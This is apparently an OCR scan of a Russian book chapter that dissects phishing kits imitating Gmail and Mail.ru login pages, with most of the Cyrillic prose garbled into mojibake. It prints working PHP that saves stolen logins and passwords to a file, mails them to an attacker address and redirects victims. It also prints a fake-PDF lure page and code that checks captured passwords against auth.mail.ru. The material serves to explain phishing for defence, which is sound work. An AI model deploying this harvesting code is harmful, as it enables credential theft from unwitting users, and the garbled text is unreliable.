GUIIMHT-ABUKKOB, BM3YyaJbHO UMUTUPYIOUINX MHTepdelic cepBuca, Ha
6a3e KOTOPOTO HAXOAMUTCS yYeTHas 3amuch. Lleab aTakyu HOCTUTHYTA,

! PHP (aurn. PHP: Hypertext Preprocessor — «PHP: mperpoiieccop TuiiepTekcra»; mnep-
BoHavabHO Personal Home Page Tools — «<MHCTPYMEHTBHI JJISI CO3TaHMsI TTepPCOHAITb-
HBIX BEO-CTPaAHMIL») — CKPUITTOBBIN SI3bIK OOIIIEr0 Ha3HAUEHMS.
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eCJIM TI0JIb30BaTelIb He 3aMeTWI, UYTO B IIpoliecce paboTsl CO CBOEI TOU-
TOJ OH COBEpPIIJI IyTeIleCcTBYE Ha cepBep ¢ (HIIIKOM 1 06paTHO.

: Monb3osatenb
Q = Bsoa naeHTH-
Q/ Q/ > PUKALMOHHBIX
S N OtkpbiTHe LaHHbIX
Flonesosarent unTepderica  gpavsep nonvsosatens
OTkpbITUE MHTepdelica no4yToBOro
ﬁnotﬂosoro aKKayHTa aKKayHTa ﬂ ABTOpU3aLMSA

: Bsop npeHTH- Cepsep
— | GMKALMOHHBIX NnoYTOBOrO
[aHHbIX (7 cepBuca

Bpaysep nonb3oBatens

Hoctyn
ABTOpM3aLma K COAEPXUMOMY
Mepexon Ha cepeep MOYTOBOrO akKayHTa
Cepeep 3/10YMbILLINEHHMKA
MOYTOBOrO <\:z Ol'leanMM
cepeuca J C MMCbMaMu
<

Joctyn CepBep Bbpaysep nonb3osatens

ﬁ K COmepKMMOMY ¢meHr-pecypca

MOYTOBOrO aKKayHTa MceBao-
3 aBTOpU3aLys BosBpat B uHTepdeiic

MOYTOBOrO CEpBuCa
—— | Onepauun BBon naeHTu-
C NMcbMamu (UKALMOHHBIX

AaHHbIX
bpaysep nonesosarens Epay3ep nonb3oBartens
Puc. 1.15. YnpoweHHas Puc. 1.16. Cxema pabomsi ¢ N04mMo8bIM SUUKOM
cxema wmamrol pabomel npu puwuHee

€ No4YmossiM cepgepom

Tpu ocHoBHble pyHKUUU PuUIUH2-08UXKKA
IBVKKY BBITIOTHSIIOT TPY OCHOBHBIE (YHKIIUN:

O umuTanuus uHTepdeiica Mo 3aJaHHOM CUTYyaIUU, CBSI3aHHOI C orle-
pauusmMu 1nosiab3oBaTess (aBTopusauys, nonryuyenue daiiia, nsme-
HeHMe HaCTPOeK yUeTHOI 3arucu U MHOTOe Apyroe);

O xkomMpoBaHMe 1 06pabOTKA He3aKOHHO MOTyYeHHbIX YUeTHbIX JaH-
HBIX T10Tb30BaTeJIs;

O BO3BparT 1M0JIb30BaTeIsI HA COOTBETCTBYIOIIYIO CUTyallUM CTPAHUILY
oduULIMaIbHOTO CepBHCa.
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[J1s1 TOro 4TOOBI IBMKOK 3apaboTall, ero Hy;kHO coopaTb. OH COCTOUT
13 3/1eMeHTOB (KapTUHOK, TeKCTa, CChJIOK ¥ aHMMAIMM), CKOITMPOBAH-
HBIX C 0QUIMATIBHOTO MHTEPHET-pecypca, ¥ IIporpaMm-CKPUITTOB, HAMM -
CaHHBIX 3JI0YMBIIIIEHHUKOM.

Cob6paHHBI ¥ TOTOBBIN K paboTe ABMKOK 3JI0YMBIIIJIEHHUK pasme-
IaeT Ha cepBepe (BUPTYaJTbHOM XOCTMHTE) U «IIPUKPyUYMBaeT» K HEMY
3apaHee MOJATOTOBJIEHHOE JOMEeHHOe UMSI.

YuuTbIBasi, YTO B COCTAB ABIKKA, KpOMe CTaTUUeCKMX JaHHBIX 1 html-
pasmMeTKM, BXOAAT MpOrpaMMbl, HallMCaHHbIE Ha SI3bIKax IpOrpaMMMu-
poBaHus, 0151 QyHKIMOHMPOBaHMS (3iiKa HEOOXOIMMBbI OIIpe/ie/ieHHbIe
MMUHMMabHbIe TPEOOBAHMS CMCTEMHOTO OKPYKEHMS XOCTMHTA.

Pa3o6paTh IeTaabHO MeXaHM3M (puIIMHT-caiiTa (¢paiika) Heo6X0oauMo
110 HECKOJIbKMM CE€PbEe3HBIM ITPUUMHAM:

O BO-TepBbIX, HETTIOHMMaHMe BCEero MexaHu3Ma MPUBOIUT K 3a0JTy3K-
IeHUIO 110 TIOBOAY TEXHUUECKOI CJIOKHOCTU (PUILMHT-aTaK;

O BO-BTOpbBIX, HEIIOHMMaHMe TeEXHUYeCKOI CTOPOHBI (PUIITMHT-CcaiiTa
MIPUBOAUT K OIIMOOYHOM KBaaMbUKALMUM ITPECTYITHbIX AeiCTBUMA
3JI0YMBILLJIEHHUKOB;

O B-TpeTbuX, He 3Has MPUHIIUIIOB CO3aHMs PUITMHT-ABIKKOB, MHO-
rvie MpOAO/IKAT BEPUTD B PeaJIbHYIO IeiICTBEHHOCTb METO/I0B aB-
TOMaTUUYECKOi 3aIUThl OT (PUIIMHT-aTaK.

Jnst ToApO6GHOTO pacCMOTPEHMSI IBUKKOB B JIOKQJIBHOI Cpejie He 10-
TpebyeTcsl 3aMOPCKMIA MM aby30yCTOMUMBBI XOCTUHT.

Bocronmb3yeMcst TeMM JKe AOCTYITHBIMM Y JIETaTbHbIMY CPeICTBAMM, KO-
TOPBIMMU TIO/Ib3YIOTCS 37IOYMBIIIUIEHHMKY JIJIS1 TPOBEPKM MHTepderica 1 OT-
PabGOTKM MPOTPaMM, BXOASIIMX B COCTaB ABMKKOB. K TakKMM cpeacTBam OT-
HOCSITCSI TPOTPaMMBbl, UMUTHUPYIOIIME PabOTy IMOTHOIIEHHOTO BeO-cepBepa.

JemMoHcmpayua MexaHusmMa yHKUUOHUPOBAHUS
¢uwuH2-08UXKKOB HA JIOKAJIbHOM Cepeepe
g neMoHcTpanuy 6ymeM ucronab3oBaTh AMPPS — Habop pelieHwuii,

BK/IIOUatoinit B ce6ss Apache, MySQL, MongoDB, PHP, Perl 1 Python ns
Windows, Linux n Mac?.

! AGy3a — Ha cIeHre pabOTHNMKOB TeJeKOMMYHMKAIVIOHHBIX YCIYT — JKanoba, Harpas-
JIeHHAs1 B aJipec BIaJerblia cepBepa (XOCTMHTA) WIIM IPYTOTO CepBMUCA HA BO3MOXK-
HbIe HelpaBOMepHbIe Ie/ICTBMSI er0 KIMEeHTOB.

2 AMPPS 6bu1 co3man kommanmeii Softaculous Ltd. http://ampps.com/.


http://ampps.com/
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Apache Q Funning
PHP 5.5 C}\"@ il
MySQL C} Funning
MongoDB C} Stopped
FTP C} Stopped

Ci/Program Files (=56 )/Ampps
Apache started

My5gl Started

PHP 5.5 Configuration Changed

Puc. 1.17. OkHo npoepammbl AMPPS

Takoii BOT BUJ, JTOKIBHOI'O CepBepa MOXHO JUILE3PETh I0C/Ie ero
ycTaHOBKM (puc. 1.18):

7 Index of f X

C 88 @ locahost

L’ ampps

softaculous

Name Last modified Size Description

E] cgi-hin/ 2017-06-25 12:27
@ eroy 2017-06-25 12:27
favicon.ico 2013-01-29 15:18 11K

Pawered by AMPPS and Softaculous

Puc. 1.18. OmobpaxeHue localhost
nocne ycmaHosku AMPPS

B Hactpoiiku mnatdopmbl AMPPS yriny6nsitecst He TpebyeTcsl, Bce,
YTO HEOOXOAMMO, YKe CTOUT TaK, KaK HYKHO (MTPY MHCTALISLIUA <TI0
YMOJIYaHUIO»).
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[lJis1 TpoBepKMU paboTOCIIOCOOHOCTM YCTAaHOBJIEHHOTO cepBepa B M-
pPeKTOpUM co3/laeM TeKCTOBbIN daiin (puc. 1.19).

=
| cgi-bin
| jerror

\ 'Favicon ico

W
A0BSEMTE B NAEANMCT YLC
BocnponzeecTH B YLC
AobaeMTE B 3aKnaskH Winamp
A0BEEMTE B CrMCOK Winamp
BocnponsEecTH B Winamp

¥ulTPOEERHTE Ha BHPYCHI

Vo [ocHETRETE PEmy TauHE & kel Co3AaTe HOBLIA KaTanor (manky):
L ittaspseaty Applizaiion dvior Microsoft Access Basa AaHHer: [ accdb)
OB AocTyn »  Dakn ActionScript Flash (. as)

@  Ukralso »  Bitmap Image {.brp)

£ Adaekc, Auck: CKONMPOBATE My BAMHHYHD CCbIMKY Contact File (. contact)

BOCCTAHOEHMTE MPEXHHIMD BERCHHD
A0oB3EMTE B BHBNHOTEKY

AokymeHt Microsoft Word {.docx)
. Journal Document (. jnk)
Library Folder {.library-ms)
Unlacker Shortcut {.Ink)
MOL4 Source File (g4
MOLS Source File {.mgS)
MetaQuotes Book {.mgb)
MpeseHTauMa Microsoft PowerPoint {.ppE:x)
AokyMeHT Microsoft Publisher . pub)
OTNREBEMTE P WIinRAR archive {.rar)
Text Docurent {.Ext)
AokyeHT Micrasaft Yisia {wadi)
WIBL Control File . wbc)
CO3A3TE APNBIK NcT Microsoft Excel (. xlsx)

CBONCTES |

Puc. 1.19. Co3daHue mekcmogozo ¢alina 8 dupekmopuu eeb-cepsepa AMPPS

g’}\

B  Addto archive...

B Add ko "wwwrar”

B  Compress and email. ..

B Compress to "wwe,rar and emai

BripesaTe
KonmpogaTe

BHocKUM B co3maHHbIi ¢aiin crpouku (puc. 1.20).

Coxpansiem daitn mog umeHeM index.php 1 mpoBepsieM, Kak paboraeT
JIOKAJIbHbBIN Beb-cepBep, BUAMM pe3yabTaT BHITIOTHEHUST php-cKpurita
(puc. 1.21).

Pe3ynbTaT 03HAuaeT, YTO cepBep paboraet u PHP-ckpumnThl MHTEP-
MIPEeTUPYIOTCS, UYTO U TpebyeTcs A5 JabHenInei 1eMOHCTPaIlUM.
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Main Mpaeka Momck Bua  KoAMpoBkK CHHTaKoMoel Onukk  Makpockl  Sanyck  [narkHel OkHa 7

| cETEEE S B 408 et BE|ENED
|~ index. phip E:i|

1 <html=
2 E <head:>
3 <title> Abpaxagabpa </ /titler
4 - </ head>
5
3 = <hody>
1
=1 —<?php
<] Fx=0;
10 while [$x<10)
11 =i
1z Fx++:
13 echo 3x:
14 echo "\n";
15 =43
16
17 -
15
19 L</hodyr</ html>
z0
21
Za
23 |
Puc. 1.20. Koo dng nposepku urmepnpemauuu PHP
O Memo | Afiparaaatpa x |4

88 | @ locahost

12345678510

Puc. 1.21. Pesynemam ucnonHenusi PHP-ckpunma

QuuwiuHz2-08uMdoK usHympu. lpumep 1

PaccMoTpuM TiepBblit TOTOBBIV (31K (GUIIMHT-ABIOKOK). B Hero BxogsT
nBa ¢ariina c pacuimpenem «.php»: index.php u login.php (puc. 1.22).
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A ————————
Wma = | AaTa H3MEHEHKA THn Pazmep

| skwle_files 26,06,2017 12:56 MNanka c ainanm
[ aspushikin 25.06,2017 14:21 afin "TRT" 1 KB
|| index.php 07.09,2015 9:38 afiin "PHP" 56 KB
|| login.php 25.06.2017 15:07 thafin "PHP" 1KEE

Puc. 1.22. @aliinsl puiiuHe-08uUMKa

B daiine index.php pacmonaraeTrcst Mmacca 3J1eMeHTOB, OTBEUAIONIMX 3a
nHTepdeiic GUIMHT-IBIDKKA.

[Ipu MHTepIIpeTaly JTaHHOTO CKPUIITA CepPBEP MPeaOCTaBIISIET MOJIb-
30BaTeI0 MHTepdeiic TOUTOBOrO cepBepa U oIS (UM TT0JIe) [IJIsS BBOIA
OAHHBIX. DTOT (Gailyl TAKKe COMEPKUT MHCTPYKIIUM, Ky[la UX HATIPABJISITh
Ha 00paboTKy (puc. 1.23).

15amp. isce=1kampiss=1">

Puc. 1.23. Codepxumoe ¢aiina index.php ¢uuiuHz-08uUMKa

B maHHOM paccMaTpuBaeMoOM cTydae y GUIIMHT-ABIKKA MHTepderic,
KOTOPBIi 37I0YMBIIIJIEHHUKM YKPaIX Y 0PUIMaTbHOTO TTOYTOBOTO Cep-
Buca' (puc. 1.24).

! TlouToBsIi1 cepBUc gmail.com kommnanuu Google.


http://gmail.com
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V) Broa - Google Akkayrtel X

28 @ locahost

Google

BBeguTe naponb eLé pas

MNaponk ‘

HyskHa nomouwye?

BOATH ELLE B DANMH AkKaYHT

Puc. 1.24. Mnmepaelic putuuHz-08UMKa

Cnenytomuii daitn login.php He MeHee BakeH, UMEHHO K HEMY OCY-

IIEeCTBJISIETCS obpamieHue u3 muHTepdeiica, cosgaBaemMoro @aiiom
index.php, mpu HaskaTUM KHOMKY (VJIX IPYTUX OTIPeie/iseMbIX ITPOrpam-
Moi1 omeparusix) (puc. 1.25).

E login. php E:i|
1 [H<?php
z §valid file = "aspushkin.txt";
3 jemail = "testP99500Eyahoo.com™:
4 $location = "http://mail.google.com”;
5
6 flogin = B§_POST[' login']:
7 fpass = B§_POST['password']:
=1
=] if($login == "" || $pass == "") { header("Location: index.php?err&login=".%login); exit; }
10
11 if(svalid_file e wwj
1z 3¢
13 §file = fopenidvalid file, 'a'):;
14 furite (§file, "$login:Spassirin");
15 folose(§file) ;
16 Fh
17
18 if (femail '= "") mail($emwail, "Data from google”, "5login:$pass");
19
z0 header ('Location: '.$location);
21
Z2 b 20

Puc. 1.25. Mnmepaelic puiiuHz-08umKa
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[J1st TOTO YTOGBI HE OTTIIYTHYTb HEITOATOTOBJIEHHOTO YMTATEJISI MacCOit
HEIOHSITHBIX CTPOYEK KOAA, MPOiAEeMCs TI0 OCHOBHBIM CTPOYKAM ITpO-
rpaMMbI ¥ paszbepemcs B ICEeBIOCIOKHOIN BHYTPEHHE HauMHKe Qu-
LIVMHT-IBVDKKOB.

CTtpouxkoit

Svalid_file = "aspushkin.txt”;

3agaeTcs daiia, B KOTOPbIN IMporpamMmma OyieT 3amuChiBaTh MoaydyaeMble
yUYeTHbIEe JJaHHbIE.
Hanee:

Semail = «testP99800@yahoo.com»;
Slocation = “http://mail.google.com”;

3amaeTcst afpec 3JIEeKTPOHHO MOYTHI, KyAa Iporpamma oOyaeTt oT-
MPaBJISTh BHOBb MOCTYIIAIOIIVE JaHHbIEe B OHJIAliH-peXMMe, B pacCMar-
puBaeMoMm Ipumepe 310 testP99800@yahoo.com, 1 onpenensiercs pe-
CYpC, Kyzia OyIeT OTIIPaB/SThLCS TT0JIb30BaTe b ITOC/Ie TTOTYIEHNS OT HEro
BCero, 4ero X0TeJIOCh 3JI0YMBILIJIEHHMKY, B JaHHOM ciiydae — http://mail.
google.com.

MoskHO 3amaTh J1000J pecypc AJjs1 BO3BpaTa I0/Ib30BaTeIsl, IMpaK-
TUYECKU BCE, UTO YTOAHO, HO 3JIOYMBIIIJIEHHMKN B LI€JISIX KOHCIIMpPAaLUn
OTIIPABJISIIOT TIOIb30BaTENSI 0OPATHO «AOMOV» B €r0 YUYeTHYIO 3aMich Ha
pPOIHOI obUIMATBHBIV TTOYTOBBIN CepBep, OTKyAa ero 00MaHOM ¥ BbI-
TSIHYJIN.

Onepalumu B CTPOKe

if(Slogin == “" || Spass == “") { header(“Location: index.
php?err&login=".Slogin); exit; }

OCYIIECTBJISIIOT MPOBEPKY HA BO3MOKHOCTbD ITYCThIX 3HAUEHUIT BMECTO
BBeJ€HHbIX I10/Ib30BaTeIeM CBOMX JaHHBIX O JIOTMHE U mapore.
Cnenyoommuii 610K CTPOK:

if(svalid_file != “")

S$file = fopen(S$Svalid_file, ‘a’);
fwrite(sfile, “Slogin:Spass\r\n”);
fclose(sfle);

B 3TOM MecTe CKPUIIT OTKPbIBAeT (haiis, pegHa3sHaueHHbIN 115 3a1i-
CU YKPaJeHHbIX JaHHbBIX, ¥ OCYILECTBJISIET B HErO 3alMCh JIOTMHA U Ma-


mailto:testP99800%40yahoo.com?subject=
http://mail.google.com
http://mail.google.com
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poJist TIoJIb30BaTeNsl. B mpuBemeHHOM IIpuMepe B TEKCTOBBIN daiia as-
pushkin.txt mo mopsigKy 3anuMcbIBAIOTCS MOCTYyIAMOIIMe JaHHbIe, TTOoc/ie
yero (aii 3aKpbIBaeTCs.

CTOUT TaKKe 00paTUTh BHMMAaHMeE HAa CTPOKN:

if(Semail != “*) mail(Semail, “Data from google”, “$login:S$pass”);
header('Location: ‘.$location);

[Tpu BbIOTHEeHMM QYHKIIMIA TTIePBOJt CTPOKM OCYIIECTBIISIeTCS OTIIPaB-
Ka JAHHBIX HAa YCTAaHOBJIEHHBIN B HACTPOMKaX OBVKKA 3JIEKTPOHHBIN
TOTOBBIN aJipec 3/I0yMbIIIJIEHHNKA, & BTOPOJ OTIIpaBJ/isieT M0Jb30BaTe s
110 33IaHHOMY afipecy, Ioc/ie Yero 1oy OKOHUEHO.

[Ipoitgem aToT myTh. OTKpbIBaeM Haill localhost, paboTatoiinii mo,
ycTaHoB/ieHHOJ paHee AMPPS, u HabmiogaeM nHTepdelic MmoacTaBHO-
ro TOYTOBOTO CepBepa, KOTOPbBIi TaK ¥ MaHUT BBECTHU JIOTMH U TApOIb
(puc. 1.26).

VP Broa - Govgle Akkayrmer X b

28 @ locahost

Google

BeeauTte naponb ewé pas

Mapone ‘

HysitHa nomouws?

BORTH ELUE B DAWH aKkayHT

Puc. 1.26. Mnmepaelic putuuHz-08UMKa

Hy>KHO MOHMMAaTh, UTO Ha 3Ty CTpaHuIy (3jiika Mmojap3oBaTe/b I0-
1ajiaeT 10 CChIIKe BUIA:

http://@UIMHT-TOMEH / ?L.ogin=JIOTMH-IIONL30BATENAs& Domain=JOMEH IIOJIb30BATEIS
&id=mojnovstavitidnuonnenujenl2433644800000023780&msg=chtotoochennujn
0e17823612391283756
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B naHHOM CJ1yuae MCIO0/Ib3yeTCs TPUBMAIbHAS, HO BeJIMKOJIeITHas BO3-
MOXHOCTbD s13bika PHP 1iop ornpepneneHneM «aCCOLMAaTUBHBINA MaCcCUB
rapameTpoB, IepefaHHbIX CKpUIty uepe3 URL».

Ecnu mnipoie, TO JaHHas BO3MOXKHOCTb IT03BOJISeT IepelaBaTh JaH-
Hble, BHePSS UX B CTPOKY CCbUIKU. [I03TOMY HY)KHO OTKPBITb 3Ty CTpa-
HULY [IPaBUJIbHO. BOT Tak, HanpuMep, Ha CTPaHULY IOMNafaeT I0Jib-
30BaTeJb C JIOTMHOM «pochtauserar» 1o ccbiike http://localhost/index.
php?login=pochtauserar& (puc. 1.27):

BeeauTe naponb ewé pas

pochtauserar

Mapons

BoiTH

HyskeHa nomoLye?

BOMTH ELLE B OAWH SKKSYHT

Puc. 1.27. inmepaelic ¢3lika ¢ uMeHeM noas308amens,
nepedaHHsIM Yepe3 CMpoKy CCbIIKU

Teneps nHTepdeiic PUIIMHT-IBYKKA BCTPeYaeT Hac IMTPaKTUIECKH Tep-
COHAJTbHO, C YKa3aHMEM HaIIIero JIOTMHA 37IEKTPOHHOM ITOUThI Ha CTPaHUIIE.

He GymeM 3acTaBJISITh €0 IOJITO KOATh M BBEJIEM CBOY YUETHbIE aH-
Hble, a BepHee MapoJib: «superpassword».

Eciiu mpoBepuTh Tenepb daitn aspushkin.txt, MokHO yoemuTbCsI, YTO
BBEeJIEHHBII MapoJib, a TaKXXe MMS Hallleil yUeTHO 3amucy YCIelrHo
3ammcaHbl B (paiii: «pochtauserar:superpassword».

[=] aspushikin. st Eﬂl

1 Ipochtauserar rsuperpassword
2

Puc. 1.28. YuemHsbie daHHble,
COXpaHeHHble 8 MeKCcmosoM Qaline Ha cepsepe


http://localhost/index.php?login=pochtauserar&
http://localhost/index.php?login=pochtauserar&
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[TomMMO 3TOrO, Mbl IOMHMM, YTO BBeleHHbIe JaHHbIe ObLIM OTIIPaB-
JIeHbI Ha JIeKTPOHHbIN aapec, 3aaHHbIN B daiie QUITMHT-IBIKKA.

QuuwiuHz-08ux3oK usHympu. lpumep 2

Terepb paccMoTpum 6oJiee MHTEPECHBIN 3K3eMIUISIp Baiika, C UMUTALIN-
eil 3arpy3ku ¢aityia, KOTOPbIi IO CTAaTUCTUKE OUE€Hb «HPABUTCS» I0JIb-
30BaTessIM.

OH coctouT us ciaenyromux dainos (puc. 1.29):

Mg = I AaTa HIMEHEHHA | Trin Pasmep

1 style_files 26.06,2017 12:56 MNanka c dhafnani
Bf'aspushkin 25.06,2017 18:35 dafn "TaT" 1KE
|| indes.php 12,10.2015 2:35 Main "PHP" 56 KB
| lagin.php 25.06.2017 158:10 Main "PHP" 1KE
| wigw2. php 25.06,2017 18117 daiin "PHP" 13 KB

Puc. 1.29. @aliinsl puiiuHe-08uMKa

Wmutaiust obpalieHust K MpUCIaHHOMY B IMCbMe 3JI0yMbIIIJIEHHY-
KoM (aiiry BBIIJISIAUT CJIemyIonmm oopasom (puc. 1.30):

O veso W schet.pt x [ = (=l

< C 8| © buhs o
downloads
Osfa Bua Copsera

a a Sarpyara

Puc. 1.30. Umumayus obpawieHus K paiiny

B naHHOM cCiy4yae mo/ib30BaTesb IbITAETCSI OTKPBITh MPUCIAHHBIN
daiin schet.pdf.

[Tpu aTOM Ipoberaet aHMMMUPOBAHHAS T10JIOCA 3arPy3Ku, CO3AAI0NIast
WITIO3UIO TIPOLIecca, HO YTO-TO, BUAMMO, TIOLIIO He Tak, U IJIs1 [TPOLOJI-
SKeHMsT TpebyeTcst aBTopusanus (puc. 1.31).
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Google

BeeguTe naponb eLWé pas3

‘ MNapons ‘

Boutn

HyzrHa nomowe?

EOMTM ELLE B OAMH SKK3YHT
Puc. 1.31. OkHo asmopusayuu ¢3iika

B HacTpoiikax JaHHOTO (PUILMHT-ABMKKA ITPUOIMU3UTETHLHO TO XKe ca-
MOe, UTO ¥ B IpelblaylieM MpumMepe, KpoMe JOMOJHUTENIbHOrO Mpo-
rpaMMHOro ¢aiina, cogepskaliero ciieHapuii 3arpy3ku HecylleCTBYIO-
nero daiiza, B JaHHOM ciaydyae 3To daiin view.php. ®parmeHT ero
CoOepXXKMMOro npuseneH Ha puc. 1.32.

B daiine login.php comepskaTcst mapameTpbl, KOTOpPbIe 3JI0YMbIIIIEH-
HUK MOXET M3MEHSTh OT Caydasi K caydar (puc. 1.33).

B maHHOM IpuMepe 3JI0YMbIIJIEHHUK OIpejiesisieT CTpaHully (mapa-
MeTp $fake), Ha KOTOPOIT HAaXOAUTCS IMIaBHAsST CTpaHMUIIA QUIIMHT-IBYK-
Ka. B Terax <title> ... </title> myist mommepskaHMS JIer€H/Ibl YKa3bIBaeT
M4 (aiisia, KOTOPbI OUeHb XOUeT TOCMOTpPeTh M0Ib30BaTeNb, 3/1eCh OH
schet.pdf.

[Ipy MOATOTOBKE CChUIKM Ha CTPAHUILY C MCIIOJb30BaHMEM TaKOTO
GUIIMHT-IBMKKA 37I0YMbIIIJIEHHUK TaK ke, KaK ¥ B TIepBOM PacCMOT-
peHHOM IpuMepe, ToCPeCTBOM acCOLIMaTMBHOTO MacCKBa IapaMeTpOB
repefaeT JaHHbIe O JIOTMHE TOIb30BaTeNs U SIKOObI MPUCIAHHOM eMy
daiine:

http://localhost/view2.php?id=schet.pdf&login=pochtauser&server=gmail-files
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[ view2php 3]

1 <7php
§fake = 'hoep://localhost/ ')
>
<!DOCTYFE htwl PUBLIC "=//W3C//DTD HTML 4.01//EN" "http://www.uwl.ore/TR/htnlé/strict.ded"s

2
3

4

5 [J<heml slick-unigueid="1"><heads>

6 <meta http-equiv='content-type' content='text/html; charset=UIF-8'>

7 <link rel="stylesheet' href='"style files/css.css'>

8 <link rel='shortcut icon' href="http://mail.qoogle.com-mail-u-5.shva.mefdocs/viewer filesficon 9_pdf favicon.ico'>
2
10 <ticlerschet.pdf</ticles
11 <script type='text/javascript! sroc='style files/mootools-core-1.3s"></scripes
12 script type="text/javascript's>
13 indow. addEvent( ' dowready! , fapction(){
14 /7§ 1 Passwd' )| .addEvent (' change' , function(){}); //fofaEienue coBHTHA DISMEHTY

15 $(' progress-har-thurb') .setStyle( ' width', '25%');

16 {function() {§(' progress-har-thuws').setSeyle( wideh', 'S0%') )} . delay{500) @

17 {function() {{({ progress-bar-thurk').setStyle( width', '68%');}).delay{1500) ;

18 (Function() {$(' progress-har-churh').setScyle( wideh', '75% ') ;}) . delay{2000) ;

13 (function() {§( ' progress-har-thuws').setStyle( wideh', '80% ') }).delay{2300) ;
20 {function(){§( progress-bar-thurk').setStyle{ width', '85%');}).delay{2600) ;
21
22 (function() {§(' loading').serStyle( ' display', 'nomne'): §{ ErrorMessage').serStyle{ 'display', 'hlack'); }).delay{3000) ;
23
24 (function(){ document.location.replace('<?php echo §fake."/?login=(§_GET['login'l1)"; 2»'); }).delay(3500);

25

26 b

27 p</seripts

28 |</head-

29

30 [<body class='goog-useragent—gecko "3

31

32 Headive

33 B «diwv " olass=" - nibar" >

34 H<div

35 [Hediv

36 H<div

37 H<div

18 <h2 id="ghmb" class='ghoc >Account Optionssgt </hl>

39 H<ol class="ghte">
40 [H<li class="gbt">

Puc. 1.32. ®pazmeHm codepwumozo patina view.php

|=] loginphp E3 |

1
2 [H<?php

3 $valid_file = "gazpushkin.txt";

4 jemail = "vivalditestBEvahoo.com™:

g $location = "http:/ mail . google. com™:

&

7 $invalid file = Minv.txt";

=] $login = B§_POST[' login']:

] fpass = B§_POST['password']:

10 $login=str_ replace(':40', 'B', $login):

11

1z if($login == "" || $pass == "") { header ("Location: index.php?err&login=".%login); exit;
13

14 if (§wvalid file != "™

15 [Hi{

18 §file = fopen(fvalid file, 'a'}:

17 fwrite (§file, "Slogin:Spassi\rin™):

1z folose (§file) ;

12 =

Z0

Z1 if (femail !'= ") mail(§ewail, "Data from google™, "Slogin:Spass”);
Z2

23 header | 'Location: '.§location);

24

25

Z6 L e

Puc. 1.33. ®paemeHm codepxcumozo gatiina view.php
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QuuwiuHz2-08uxokK usHympu. [lpumep 3

PaccmoTrpum apyroii mpumep ¢aiika.
MHTepeceH OH TeM, UTO B HeM AobaByieHa YHKIMS ITPOBEPKY Tpa-
BUJIbHOCTY BBEJEHHOTO MapoJis MOIb30BaTENEM.

Asmomamuuyeckas npoeepka noxuwieHHoco naposq

[Tpoucxogut 3To nmocpenactsoM dhyHkuMM fsockopen, Kotropast BHeZipeHa
B (paitn index.php 3TOro aBIKKA.

Wurepdeiic nBskka (cM. puc. 134) Takske 661 6€CCOBECTHO ITO3aMM-
CTBOBaH Y O(pUILIMaJIbHOTO CepBucal ¢ OAHOI JIUIIIb TOMBKO 11€JIbI0 — BBEC-
TU B 3a0/Ty>KIeHMe TI0/Ib30BaTesIsl  He IaTh eMY IT0BOJja 3aCOMHEeBAThCS,
YTO BBOJMMbIE UM JaHHBIE (ITApOJIb) MOTYT OTIIPABUTHCS Kyaa-anbo,
KpoMe obuUIIMaIbHOTO TIOUTOBOTO cepBepa.

BXDA-”DHT& Mail.Ru X |+
> 85 & locahost

Moura Mol bup  OSHOENZCCHHEM  MIpEl 3HAKOMCTES  HOBOCTH  MloMck Bee NpoekTe -

“emato

Bxoa B nouTy Euwe HeT noutkl Ha Mail.Ru? Coznai ceiyac!
m * g
Eibl mMOETE BOHTH B NOMTY C NOMOLWLER SKKaYHTa niborg & B afexHanA JamuTa 0T cnaMa n BUpycos
NOYTOEOTD CEPEMCE W NETKD NEPEKNKIMATECA MEXAY HUMA, HE i 1 B Moure Mail. Ru ece nucema W daine npoxofat obAzsTensHy
' %]

ELIXOAA K2 MOYTEL ; 4 NPOBEPKY HA BHPYCHL. A HafnexHan gusTpauua cnamMa u

. CNEUMENEHBIE NENCOHANEHBIE GHTH-CNamM HEETpDﬁKM obecnevar
w IHpekc  “pamenep (Gpacil  Opyroi Baw kamdiopTHya pafiory © nodtod

- HeorpaHu4eHHBIA 00BEM NOYTOBOTO ALWKE
& J E noute Mail. Ru oBbem AwMka 3aBrCMT 0T Bawux noTpebHocTed

b s @mail.ru h Hem Bonewe y Bac nucem, Tem BoNbLIE CMOKET BMECTUTE BALLA
noyTa
Mapone
BuicokaA ckopocTe paboTsl
(‘ Py i B noute Mail. Ru galum nuckma npuxogaT M 0TkpLIBAKTCA
HanomruTe napone [¥ 3anomHHTE NouTy

MOMEHTENEHD, @ OTNPABKA MMCERM 33HMMEET TMLWb 0000 CeKYHA b
M 3FBMCUT TONEKD OT PE3MEpRa MUCEMA.

BOATM B nouTy SaperucTpupoBaTECA

Puc. 1.34. Mnmepaelic ¢alika

@OYHKIMS TIPOBEPKM KOPPEKTHOCTY BBOAVMBIX sKEPTBOJ TAaHHbBIX Oblia
BBeJleHa JIeHMBBIMM XaKepaMy, KOTOpbIe IenaiT OHTaHbl PAaCChLIOK —

! TlouToBsIit cepBuc https://mail.ru/ kommanun Mail.Ru Group.


https://mail.ru/
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cJienbIX (DUIIMHTOBBIX aTaK — U JIMITHUI pa3 He XOTSIT pacCTpanBaThCs,
eCJIv TOoIb30BaTe/ b BO BpeMsl TOTO, KaK ero MMaposib MbITaaNUCh CIIepeTh,
«OUernsTajcsI» MpyU BBOZAE CBOEro JIOTMHA WIN MapoJs.

@®parMeHT JMUCTUHTA, OCYIIEeCTBJSIONIEr0 MPOBEPKY BBOAMMBIX
OaHHbIX:

<?php

Svalid_file = "stoun.php";

Sinvalid_file = "inv.php";

Semail = "testadm986€@mail.ru";

$location = "http://mail.ru";

Slogin = @S_POST[‘login’];

Spass = @S_POST[ ‘password’];

Sdomain = @$_POST['domain’];

if(Slogin == "" || $pass == "" || Sdomain == "") header("Location:
index.php?test&login=".Slogin. '&domain=".Sdomain) ;

Sfp = fsockopen ("ssl://auth.mail.ru", 443, Serrno, Serrstr, 300);
Spoststr = "page=&post=&login_from=&lang=&Login=".urlencode($login)."&Do
main=$domain&Password=".urlencode (Spass)."&level=0";

Spost = "POST /cgi-bin/auth HTTP/1.I1\r\n";

Spost .= "Host: auth.mail.ru\r\n";

Spost .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru;
rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729)\r\n";

Spost .= "Accept: text/html,application/xhtml+xml,application/
xml;g=0.9,*/*;g=0.8\r\n";

Spost .= "Accept-Language: ru-ru,ru;qg=0.8,en-us;g=0.5,en;g=0.3\r\n";
Spost .= "Accept-Encoding: gzip,deflate\r\n";

